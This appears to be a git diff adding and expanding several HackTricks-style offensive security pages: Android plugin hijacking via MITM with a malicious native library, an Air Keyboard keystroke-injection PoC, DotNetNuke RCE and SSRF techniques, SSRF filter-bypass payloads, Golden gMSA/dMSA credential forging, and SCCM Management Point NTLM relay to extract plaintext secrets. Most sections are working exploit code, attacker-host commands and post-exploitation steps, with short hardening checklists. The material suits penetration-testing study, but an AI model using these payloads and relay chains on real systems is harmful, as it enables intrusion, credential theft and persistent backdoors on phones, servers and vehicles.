https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
The response body is an **XML document** whose `<FileData>` nodes contain **Base64-encoded, DES-ECB encrypted** JSON describing every available plugin.
Typical hunting steps:
1. Locate the crypto routine (e.g. `RemoteServiceProxy`) and recover:
* algorithm (DES / AES / RC4 …)
* mode of operation (ECB / CBC / GCM …)
* hard-coded key / IV (often 56-bit DES keys or 128-bit AES keys in constants)
2. Re-implement the function in Python to decrypt / encrypt the metadata:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Craft a Malicious Plugin
1. Pick any legitimate plugin ZIP and replace the native library with your payload:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
```
```bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Update the JSON metadata so that `"FileName" : "PWNED.zip"` and `"DownloadURL"` points to your HTTP server.
3. DES-encrypt + Base64-encode the modified JSON and copy it back inside the intercepted XML.
## 4. Deliver the Payload with mitmproxy
`addon.py` example that *silently* swaps the original metadata:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
```
Run a simple web server to host the malicious ZIP:
```bash
python3 -m http.server 8000 --directory ./payloads
```
When the victim launches the app it will:
* fetch our forged XML over the MITM channel;
* decrypt & parse it with the hard-coded DES key;
* download `PWNED.zip` → unzip inside private storage;
* `dlopen()` the included *libscan_x64.so*, instantly executing our code **with the apps permissions** (camera, GPS, Bluetooth, filesystem, …).
Because the plugin is cached on disk the backdoor **persists across reboots** and runs every time the user selects the related feature.
## 5. Post-Exploitation Ideas
* Steal session cookies, OAuth tokens, or JWTs stored by the app.
* Drop a second-stage APK and silently install it via `pm install` (the app already has `REQUEST_INSTALL_PACKAGES`).
* Abuse any connected hardware in the AnyScan scenario you can send arbitrary **OBD-II / CAN bus commands** (unlock doors, disable ABS, etc.).
---
### Detection & Mitigation Checklist (blue team)
* NEVER ship a production build with a custom TrustManager/HostnameVerifier that disables certificate validation.
* Do not download executable code from outside Google Play. If you *must*, sign each plugin with the same **apkSigning v2** key and verify the signature before loading.
* Replace weak/hard-coded crypto with **AES-GCM** and a server-side rotating key.
* Validate the integrity of downloaded archives (signature or at least SHA-256).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1148,6 +1148,12 @@ To identify the libraries an application uses, the **`otool`** command can be em
otool -L <application_path> otool -L <application_path>
``` ```
## Interesting Vulnerabilities & Case Studies
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **References & More Resources** ## **References & More Resources**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)

View File

@ -0,0 +1,104 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victims phone, achieving **full remote interaction hijacking**.
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
## 1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
On Android handsets you can identify the responsible package locally:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Frame Format (iOS)
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
The declared length includes the `device_id` byte **but not** the two-byte header itself.
## 3. Exploitation PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
## 4. Android Companion Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Root Cause
1. **No origin / integrity checks** on incoming frames (iOS).
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
## 6. Mitigations & Hardening Ideas
* Never expose unauthenticated services on a mobile handset.
* Derive per-device secrets during onboarding and verify them before processing input.
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
## Detection Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## References
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,97 @@
## DotNetNuke (DNN) ## DotNetNuke (DNN)
If you enter as **administrator** in DNN it's easy to obtain RCE. If you enter as **administrator** in DNN it's easy to obtain **RCE**, however a number of *unauthenticated* and *post-auth* techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work.
## RCE ---
## Version & Environment Enumeration
### Via SQL * Check the *X-DNN* HTTP response header it usually discloses the exact platform version.
* The installation wizard leaks the version in `/Install/Install.aspx?mode=install` (accessible on very old installs).
* `/API/PersonaBar/GetStatus` (9.x) returns a JSON blob containing `"dnnVersion"` for low-privilege users.
* Typical cookies you will see on a live instance:
* `.DOTNETNUKE` ASP.NET forms authentication ticket.
* `DNNPersonalization` contains XML/serialized user profile data (old versions see RCE below).
A SQL console is accessible under the **`Settings`** page where you can enable **`xp_cmdshell`** and **run operating system commands**. ---
## Unauthenticated Exploitation
Use these lines to enable **`xp_cmdshell`**: ### 1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups)
*Affected versions ≤ 9.3.0-RC*
`DNNPersonalization` is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution.
```
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811/15812/18325/18326). Exploitation works **without authentication** on 7.x9.1.x and with a *verified* low-privilege account on 9.2.x+.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Affected versions < 9.13.8 Patch released April 2025*
A bypass of the older `DnnImageHandler` fix enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts:
* Internal port scan / metadata service discovery in cloud deployments.
* Reach hosts otherwise firewalled from the Internet.
Proof-of-concept (replace `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
The request is triggered in the background; monitor your listener for callbacks.
### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488)
*Affected versions 6.0.0 9.x (< 10.0.1)*
Specially crafted content can make DNN attempt to fetch a resource using a **UNC path** such as `\\attacker\share\img.png`. Windows will happily perform NTLM negotiation, leaking the server-account hashes to the attacker. Upgrade to **10.0.1** or disable outbound SMB at the firewall.
### 4. IP Filter Bypass (CVE-2025-52487)
If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed by manipulating `X-Forwarded-For` in a reverse-proxy scenario.
---
## Post-Authentication to RCE
### Via SQL console
Under **`Settings → SQL`** a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable **`xp_cmdshell`** and spawn commands:
```sql ```sql
EXEC sp_configure 'show advanced options', '1' EXEC sp_configure 'show advanced options', 1;
RECONFIGURE RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', '1' EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE RECONFIGURE;
GO
xp_cmdshell 'whoami';
``` ```
And press **"Run Script"** to run that sQL sentences. ### Via ASPX webshell upload
1. Go to **`Settings → Security → More → More Security Settings`**.
2. Append `aspx` (or `asp`) to **Allowable File Extensions** and **Save**.
3. Browse to **`/admin/file-management`** and upload `shell.aspx`.
4. Trigger it at **`/Portals/0/shell.aspx`**.
Then, use something like the following to run OS commands: ---
## Privilege Escalation on Windows
Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:
```sql * **PrintSpoofer** / **SpoolFool** to abuse *SeImpersonatePrivilege*.
xp_cmdshell 'whoami' * **Juicy/Sharp Potatoes** to escape *Service Accounts*.
```
### Via ASP webshell ---
## Hardening Recommendations (Blue Team)
In `Settings -> Security -> More -> More Security Settings` you can **add new allowed extensions** under `Allowable File Extensions`, and then clicking the `Save` button. * **Upgrade** to at least **9.13.9** (fixes SSRF bypass) or preferably **10.0.1** (IP filter & NTLM issues).
* Remove residual **`InstallWizard.aspx*`** files after installation.
* Disable outbound SMB (ports 445/139) egress.
* Enforce strong *Host Filters* on the edge proxy rather than within DNN.
* Block access to `/API/RemoteContentProxy` if unused.
Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example.
Then access to **`/Portals/0/shell.asp`** to access your webshell.
### Privilege Escalation ## References
You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
* Metasploit `dnn_cookie_deserialization_rce` module documentation practical unauthenticated RCE details (GitHub).
* GitHub Security Advisory GHSA-3f7v-qx94-666m 2025 SSRF bypass & patch information.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -217,10 +217,46 @@ The “left square bracket” character `[` in the userinfo segment can cause Sp
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
### IPv6 Zone Identifier (%25) Trick
Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
```text
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
```
If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
### Recent Library Parsing CVEs (20222025)
A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
| Year | CVE | Component | Bug synopsis | Minimal PoC |
|------|-----|-----------|--------------|-------------|
| 2024 | CVE-2024-22243 / 22262 | Spring `UriComponentsBuilder` | `[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. |
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. |
| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). |
When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues.
### Payload-generation helpers (2024+)
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
```bash
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
```
The resulting list can be fed directly into Burp Intruder or `ffuf`.
## References ## References
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) - [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) - [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -311,6 +311,13 @@ A strategy that many authors have come up with is to force a SYSTEM service to a
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command. [SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
### SCCM Management Point NTLM Relay (OSD Secret Extraction)
See how the default SQL roles of SCCM **Management Points** can be abused to dump Network Access Account and Task-Sequence secrets directly from the site database:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -23,7 +23,6 @@ No Kerberos traffic or domain interaction is required during normal password usa
If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing: If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing:
* Kerberos pre-authentication / ticket request logs
* LDAP read auditing * LDAP read auditing
* Password change intervals (they can pre-compute) * Password change intervals (they can pre-compute)
@ -31,11 +30,12 @@ This is analogous to a *Golden Ticket* for service accounts.
### Prerequisites ### Prerequisites
1. **Forest-level compromise** of **one DC** (or Enterprise Admin). `SYSTEM` access is enough. 1. **Forest-level compromise** of **one DC** (or Enterprise Admin), or `SYSTEM` access to one of the DCs in the forest.
2. Ability to enumerate service accounts (LDAP read / RID brute-force). 2. Ability to enumerate service accounts (LDAP read / RID brute-force).
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code. 3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
### Phase 1 Extract the KDS Root Key ### Golden gMSA / dMSA
##### Phase 1 Extract the KDS Root Key
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets): Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
@ -46,10 +46,17 @@ reg save HKLM\SYSTEM system.hive
# With mimikatz on the DC / offline # With mimikatz on the DC / offline
mimikatz # lsadump::secrets mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch # shows KDS root keys too mimikatz # lsadump::trust /patch # shows KDS root keys too
# With GoldendMSA
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
``` ```
The base64 string labelled `RootKey` (GUID name) is required in later steps. The base64 string labelled `RootKey` (GUID name) is required in later steps.
### Phase 2 Enumerate gMSA/dMSA objects ##### Phase 2 Enumerate gMSA / dMSA objects
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`: Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
@ -57,6 +64,8 @@ Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
# Authenticated or anonymous depending on ACLs # Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId Select sAMAccountName,objectSid,msDS-ManagedPasswordId
GoldenGMSA.exe gmsainfo
``` ```
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes: [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
@ -69,10 +78,10 @@ GoldendMSA.exe info -d example.local -m ldap
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
``` ```
### Phase 3 Guess / Discover the ManagedPasswordID (when missing) ##### Phase 3 Guess / Discover the ManagedPasswordID (when missing)
Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads. Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads.
Because the GUID is 128-bit, naïve bruteforce is infeasible, but: Because the GUID is 128-bit, naive bruteforce is infeasible, but:
1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution). 1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution).
2. Followed by 96 random bits. 2. Followed by 96 random bits.
@ -84,16 +93,14 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
``` ```
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute the match reveals the correct GUID. The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute the match reveals the correct GUID.
### Phase 4 Offline Password Computation & Conversion ##### Phase 4 Offline Password Computation & Conversion
Once the ManagedPasswordID is known, the valid password is one command away: Once the ManagedPasswordID is known, the valid password is one command away:
```powershell ```powershell
# derive base64 password # derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
``` ```
The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**. The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
@ -108,13 +115,15 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru
## Tooling ## Tooling
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) reference implementation used in this page. * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) reference implementation used in this page.
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) reference implementation used in this page.
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
* [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket using derived AES keys. * [`Rubeus`](https://github.com/GhostPack/Rubeus) pass-the-ticket using derived AES keys.
## References ## References
- [Golden dMSA authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) - [Golden dMSA authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/)
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA) - [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
- [Improsec Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) - [Improsec Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,160 @@
# SCCM Management Point NTLM Relay to SQL OSD Policy Secret Extraction
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
By coercing a **System Center Configuration Manager (SCCM) Management Point (MP)** to authenticate over SMB/RPC and **relaying** that NTLM machine account to the **site database (MSSQL)** you obtain `smsdbrole_MP` / `smsdbrole_MPUserSvc` rights. These roles let you call a set of stored procedures that expose **Operating System Deployment (OSD)** policy blobs (Network Access Account credentials, Task-Sequence variables, etc.). The blobs are hex-encoded/encrypted but can be decoded and decrypted with **PXEthief**, yielding plaintext secrets.
High-level chain:
1. Discover MP & site DB ↦ unauthenticated HTTP endpoint `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. Start `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
3. Coerce MP using **PetitPotam**, PrinterBug, DFSCoerce, etc.
4. Through the SOCKS proxy connect with `mssqlclient.py -windows-auth` as the relayed **<DOMAIN>\\<MP-host>$** account.
5. Execute:
* `use CM_<SiteCode>`
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (or `MP_GetPolicyBodyAfterAuthorization`)
6. Strip `0xFFFE` BOM, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
Secrets such as `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, etc. are recovered without touching PXE or clients.
---
## 1. Enumerating unauthenticated MP endpoints
The MP ISAPI extension **GetAuth.dll** exposes several parameters that dont require authentication (unless the site is PKI-only):
| Parameter | Purpose |
|-----------|---------|
| `MPKEYINFORMATIONMEDIA` | Returns site signing cert public key + GUIDs of *x86* / *x64* **All Unknown Computers** devices. |
| `MPLIST` | Lists every Management-Point in the site. |
| `SITESIGNCERT` | Returns Primary-Site signing certificate (identify the site server without LDAP). |
Grab the GUIDs that will act as the **clientID** for later DB queries:
```bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
```
---
## 2. Relay the MP machine account to MSSQL
```bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
```
When the coercion fires you should see something like:
```
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
```
---
## 3. Identify OSD policies via stored procedures
Connect through the SOCKS proxy (port 1080 by default):
```bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
```
Switch to the **CM_<SiteCode>** DB (use the 3-digit site code, e.g. `CM_001`).
### 3.1 Find Unknown-Computer GUIDs (optional)
```sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
```
### 3.2 List assigned policies
```sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
```
Each row contains `PolicyAssignmentID`,`Body` (hex), `PolicyID`, `PolicyVersion`.
Focus on policies:
* **NAAConfig** Network Access Account creds
* **TS_Sequence** Task Sequence variables (OSDJoinAccount/Password)
* **CollectionSettings** Can contain run-as accounts
### 3.3 Retrieve full body
If you already have `PolicyID` & `PolicyVersion` you can skip the clientID requirement using:
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> IMPORTANT: In SSMS increase “Maximum Characters Retrieved” (>65535) or the blob will be truncated.
---
## 4. Decode & decrypt the blob
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
```
Recovered secrets example:
```
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
```
---
## 5. Relevant SQL roles & procedures
Upon relay the login is mapped to:
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
These roles expose dozens of EXEC permissions, the key ones used in this attack are:
| Stored Procedure | Purpose |
|------------------|---------|
| `MP_GetMachinePolicyAssignments` | List policies applied to a `clientID`. |
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Return complete policy body. |
| `MP_GetListOfMPsInSiteOSD` | Returned by `MPKEYINFORMATIONMEDIA` path. |
You can inspect the full list with:
```sql
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
```
---
## 6. Detection & Hardening
1. **Monitor MP logins** any MP computer account logging in from an IP that isnt its host ≈ relay.
2. Enable **Extended Protection for Authentication (EPA)** on the site database (`PREVENT-14`).
3. Disable unused NTLM, enforce SMB signing, restrict RPC (
same mitigations used against `PetitPotam`/`PrinterBug`).
4. Harden MP ↔ DB communication with IPSec / mutual-TLS.
---
## See also
* NTLM relay fundamentals:
{{#ref}}
../ntlm/README.md
{{#endref}}
* MSSQL abuse & post-exploitation:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
## References
- [Id Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Misconfiguration Manager ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}